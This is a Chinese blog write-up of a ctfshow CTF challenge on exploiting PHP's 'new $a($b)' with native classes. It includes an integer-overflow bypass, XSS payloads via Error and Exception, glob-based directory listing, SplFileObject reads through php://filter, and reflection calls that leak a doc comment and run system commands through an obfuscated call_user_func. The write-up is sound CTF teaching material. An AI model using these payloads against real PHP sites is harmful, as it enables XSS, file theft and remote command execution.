从一道ctf题看php原生类


这是ctfshow的一道比赛题

先来看看源码

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "\$flag_filename = 'flag'.md5(???).'php';";
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}
?>
$flag_filename = 'flag'.md5(???).'php';

绕过第二个if判断是利用了数组溢出的原理

然后进入else语句

一般看到echo new $a($b)这种形式,就需要考虑利用php的原生类来遍历目录以及读取文件

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。

a=Error&b=<script>alert(1);</script>&c=9223372036854775806

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。

image-20220226173222714

a=Exception&b=<script>alert(1);</script>&c=9223372036854775806

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

image-20220226173809874

返回了一个点,这个点代表这当前目录

如果要匹配其他文件,要利用glob协议

image-20220226174839331

glob协议支持通配符,所以对于不知道文件名的文件可以利用通配符进行匹配

FilesystemIterator

与DirectoryIterator类似,但实际使用时发现有些不同

image-20220226175041268

GlobIterator

无需加glob协议,因为这是自带的

image-20220226175140543

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口

也就是说我们可以利用这个来读取文件,例如

a=SplFileObject&b=flag.php

但是由于这个类返回的是迭代器,所以不能完整的读出文件,所以就要利用php://filter来将文件内容以全部输出

image-20220226181714890

回到这道题

我们可以利用

FilesystemIterator、DirectoryIterator或GlobIterator找到flag所在的目录,再用SplFileObject读出文件内容

但是这道题中flag文件并不叫flag.php而是flag.md5(???).php,所以我们要用通配符找到真正的flag文件,

image-20220226184433903

在通配符中,?代表一个字符,但是必须存在,而*表示存在任意个字符,但是也包括零个,所以因为迭代器的性质,只加*就只能匹配到flag.php

但是如果我们用FilesystemIterator,我们可以直接加路径看到这个flag文件,不太理解为什么

image-20220226184809317

接下来就是用SplFileObject读出来就然后base64解个码就行

image-20220226185100750

反射类获取注释

看见这个想起了去年国赛我唯一出了的一道题

<?php
highlight_file(__file__);
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }
        /**
         * flag
         */
    function e()
    {

        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

flag在注释里但并不会被显示出来,但是我们可以利用通过反射 ReflectionMethod 类来获取类方法的相关信息

?rc=ReflectionMethod&ra=User&rb=e&rd=getDocComment

image-20220226193319167

直接查看类可以用ReflectionClass

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

ReflectionFunction

这玩意能执行命令

demo

<?php
$function = new ReflectionFunction('system');
echo $function->invoke("whoami");
?>
    
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
//array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)
?>

文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录